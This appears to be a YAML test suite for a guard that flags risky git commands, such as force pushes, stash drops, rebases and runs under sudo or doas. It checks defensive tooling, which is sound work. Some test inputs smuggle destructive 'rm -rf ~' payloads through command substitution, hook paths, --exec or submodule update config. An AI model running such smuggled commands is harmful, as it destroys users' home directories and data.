- test: "git tag -a v1.2.0 -m \"release\""
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a v1.2.0 -m release"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a v1.2.0 -m \"release\" && git push origin v1.2.0"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag --annotate v1.2.0 -m release"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a -m release v1.2.0"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a v1.2.0 -F notes.md"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a v1.2.0 abc123 -m x"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a v1 -m x -m y"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "sudo git merge --no-ff feature"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:merge_no_ff"]
- test: "sudo git cherry-pick abc123"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:cherry_pick"]
- test: "doas git stash pop"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git tag -a -f v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a v1.2.0 -m x --force"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a v1.2.0 -m x -f"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a v1.2.0 -m x && git push --force origin v1.2.0"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:force_push"]
- test: "git push origin :refs/tags/v1.0.0"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:push_delete_branch"]
- test: "git push --delete origin v1.0.0"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:push_delete_branch"]
- test: "git push --force --tags"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:force_push"]
- test: "git push --force origin v1.0.0"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:force_push"]
- test: "git tag -a v1.2.0 -m \"$(rm -rf ~/data)\""
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["fs-strict:recursive_deletion", "fs:recursively_delete_outside", "git-strict:create_tag"]
- test: "git -c core.hooksPath=/tmp/h tag -a v1 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:config_exec_hook"]
- test: "echo 'git push --force origin v1' | sh && git tag -a v1 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:force_push"]
- test: "echo 'git push --force origin v1' > /tmp/t.sh && sh /tmp/t.sh"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["fs:flush_file_content", "git:force_push"]
- test: "sudo git tag -a v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "doas git tag -a v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "su -c 'git tag -a v1.2.0 -m x'"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "sh -c 'sudo git tag -a v1.2.0 -m x'"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "sudo sh -c 'git tag -a v1.2.0 -m x'"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "pkexec git tag -a v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "run0 git tag -a v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "env sudo git tag -a v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a v1.2.0 -m x | sh"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a v1.2.0"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "nice timeout 60 git cherry-pick abc123"
description: "allow: a pass-through wrapper or command position keeps the exemption"
expect_ids: []
- test: "env -i PATH=/usr/bin git stash pop"
description: "allow: a pass-through wrapper or command position keeps the exemption"
expect_ids: []
- test: "sudo -k; git merge --no-ff feature/login"
description: "allow: a pass-through wrapper or command position keeps the exemption"
expect_ids: []
- test: "git fetch origin main && git submodule update --init"
description: "allow: a pass-through wrapper or command position keeps the exemption"
expect_ids: []
- test: "git push --force --help"
description: "the help word does not make this print-only"
expect_ids: ["git:force_push"]
- test: "git filter-branch --help"
description: "negative: a help request only prints usage"
expect_ids: []
- test: "git rebase --help"
description: "negative: a help request only prints usage"
expect_ids: []
- test: "git merge --no-ff feature/login"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git merge --abort"
description: "the destructive form stays flagged"
expect_ids: ["git:merge_no_ff"]
- test: "git merge --no-ff --abort"
description: "the destructive form stays flagged"
expect_ids: ["git:merge_no_ff"]
- test: "git merge --no-ff feature/login && git merge --abort"
description: "the destructive form stays flagged"
expect_ids: ["git:merge_no_ff"]
- test: "git reset --hard ORIG_HEAD"
description: "the destructive form stays flagged"
expect_ids: ["git:reset"]
- test: "git merge --no-ff --no-edit feature/login"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git cherry-pick abc123"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git cherry-pick --abort"
description: "the destructive form stays flagged"
expect_ids: ["git:cherry_pick"]
- test: "git cherry-pick --skip"
description: "the destructive form stays flagged"
expect_ids: ["git:cherry_pick"]
- test: "git reset --hard HEAD~1"
description: "the destructive form stays flagged"
expect_ids: ["git:reset"]
- test: "git cherry-pick -x abc123"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git cherry-pick abc123..def456"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git cherry-pick --continue"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git stash pop"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git stash drop"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git stash drop stash@{0}"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git stash clear"
description: "the destructive form stays flagged"
expect_ids: ["git:stash_clear"]
- test: "git stash pop && git stash drop"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git stash pop stash@{1}"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git worktree add ../webapp-hotfix -b hotfix"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git worktree remove --force ../webapp-hotfix"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git worktree remove ../webapp-hotfix"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git worktree add -B main ../wt origin/main"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git worktree add -B hotfix ../wt"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git worktree add ../wt main && git worktree remove --force ../other"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git worktree add ../wt main"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git worktree remove --force ../wt"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git rebase --continue"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git rebase -i HEAD~3"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase", "git:interactive_rebase"]
- test: "git rebase --onto main HEAD~5"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase"]
- test: "git rebase --skip"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase"]
- test: "git rebase main"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase"]
- test: "git rebase --abort"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase"]
- test: "git rebase --continue --exec 'rm -rf ~'"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase"]
- test: "git rebase --continue && git rebase -i HEAD~3"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase", "git:interactive_rebase"]
- test: "git push --force -n --no-dry-run origin main"
description: "a later dry-run value turns the dry run off"
expect_ids: ["git:force_push"]
- test: "git clean -fdn --no-dry-run"
description: "a later dry-run value turns the dry run off"
expect_ids: ["git:clean_force"]
- test: "git push --mirror --dry-run --no-dry-run origin"
description: "a later dry-run value turns the dry run off"
expect_ids: ["git:push_mirror"]
- test: "git push origin --delete old -n --no-dry-run"
description: "a later dry-run value turns the dry run off"
expect_ids: ["git:push_delete_branch"]
- test: "git push --all --prune --dry-run --no-dry-run origin"
description: "a later dry-run value turns the dry run off"
expect_ids: ["git:push_prune"]
- test: "git push --no-dry-run --dry-run --force origin main"
description: "negative: the last dry-run value is a dry run"
expect_ids: []
- test: "git clean -fd --no-dry-run -n"
description: "negative: the last dry-run value is a dry run"
expect_ids: []
- test: "git submodule update --init --recursive"
description: "negative: only clones and checks out the recorded commits"
expect_ids: []
- test: "git submodule update --init"
description: "negative: only clones and checks out the recorded commits"
expect_ids: []
- test: "git submodule update --init --recursive --depth 1 -j 8 -- vendor/lib"
description: "negative: only clones and checks out the recorded commits"
expect_ids: []
- test: "git submodule update --recursive --init --jobs=4 --single-branch"
description: "negative: only clones and checks out the recorded commits"
expect_ids: []
- test: "git submodule deinit -f --all"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule deinit vendor/lib"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --force"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --force"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init -f"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --recursive --force"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --remote"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --rebase"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --merge"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --checkout --force"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init; git submodule update --force"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git -c submodule.lib.update='!rm -rf ~' submodule update --init"
description: "a -c value can name the command the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git config submodule.lib.update '!rm -rf ~' && git submodule update --init"
description: "an earlier segment can set the command the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git -C vendor submodule update --init"
description: "git global options keep it asked"
expect_ids: ["git-strict:submodule_update"]
- test: "git --git-dir=.git submodule update --init"
description: "git global options keep it asked"
expect_ids: ["git-strict:submodule_update"]
- test: "GIT_CONFIG_PARAMETERS=\"'submodule.lib.update=!rm -rf ~'\" git submodule update --init"
description: "git configuration from the environment keeps it asked"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init && make"
description: "negative: a command after the update cannot change what it ran"
expect_ids: []
- test: "git submodule update --init | sh"
description: "output piped into a shell keeps it asked"
expect_ids: ["git-strict:submodule_update"]
- test: "cd vendor && git submodule update --init"
description: "negative: only cd and inspection commands beside it"
expect_ids: []
- test: "git submodule update --init --recursive && git status"
description: "negative: only cd and inspection commands beside it"
expect_ids: []
- test: "git submodule update --init && ls vendor"
description: "negative: only cd and inspection commands beside it"
expect_ids: []
- test: "git push -o -n --force origin main"
description: "a dry-run word right after an option that may take a value is that value: a real run"
expect_ids: ["git:force_push"]
- test: "git clean -f -e -n"
description: "a dry-run word right after an option that may take a value is that value: a real run"
expect_ids: ["git:clean_force"]
- test: "git push --force -n origin main"
description: "negative: the word before the dry-run flag cannot take it as a value"
expect_ids: []
- test: "git clean -f -n"
description: "negative: the word before the dry-run flag cannot take it as a value"
expect_ids: []
- test: "git clean -fdn"
description: "negative: the word before the dry-run flag cannot take it as a value"
expect_ids: []
- test: "sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "doas git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -u root git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -E git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -i git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -s git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -- git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -u dev git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo sh -c 'git merge --no-ff feature/login'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "su -c 'git merge --no-ff feature/login'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "su root -c 'git merge --no-ff feature/login'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "pkexec git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "run0 git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "runuser -u root -- git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "env sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo env git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "timeout 60 sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "nohup sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "nice sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "FOO=1 sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sh -c 'sudo git merge --no-ff feature/login'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "bash -c \"sudo git merge --no-ff feature/login\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "cd apps/web && sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "doas git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -u root git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -E git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -i git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -s git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -- git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -u dev git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo sh -c 'git cherry-pick abc123'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "su -c 'git cherry-pick abc123'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "su root -c 'git cherry-pick abc123'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "pkexec git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "run0 git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "runuser -u root -- git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "env sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo env git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "timeout 60 sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "nohup sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "nice sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "FOO=1 sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sh -c 'sudo git cherry-pick abc123'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "bash -c \"sudo git cherry-pick abc123\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "cd apps/web && sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "doas git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -u root git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -E git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -i git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -s git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -- git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -u dev git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo sh -c 'git cherry-pick --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "su -c 'git cherry-pick --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "su root -c 'git cherry-pick --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "pkexec git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "run0 git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "runuser -u root -- git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "env sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo env git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "timeout 60 sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "nohup sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "nice sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "FOO=1 sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sh -c 'sudo git cherry-pick --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "bash -c \"sudo git cherry-pick --continue\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "cd apps/web && sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "doas git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -u root git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -E git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -i git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -s git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -- git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -u dev git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo sh -c 'git stash pop'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "su -c 'git stash pop'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "su root -c 'git stash pop'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "pkexec git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "run0 git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "runuser -u root -- git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "env sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo env git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "timeout 60 sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "nohup sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "nice sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "FOO=1 sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sh -c 'sudo git stash pop'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "bash -c \"sudo git stash pop\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "cd apps/web && sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "doas git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -u root git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -E git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -i git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -s git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -- git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -u dev git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo sh -c 'git worktree add ../wt main'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "su -c 'git worktree add ../wt main'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "su root -c 'git worktree add ../wt main'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "pkexec git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "run0 git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "runuser -u root -- git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "env sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo env git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "timeout 60 sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "nohup sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "nice sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "FOO=1 sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sh -c 'sudo git worktree add ../wt main'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "bash -c \"sudo git worktree add ../wt main\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "cd apps/web && sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "doas git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -u root git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -E git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -i git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -s git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -- git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -u dev git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo sh -c 'git rebase --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "su -c 'git rebase --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
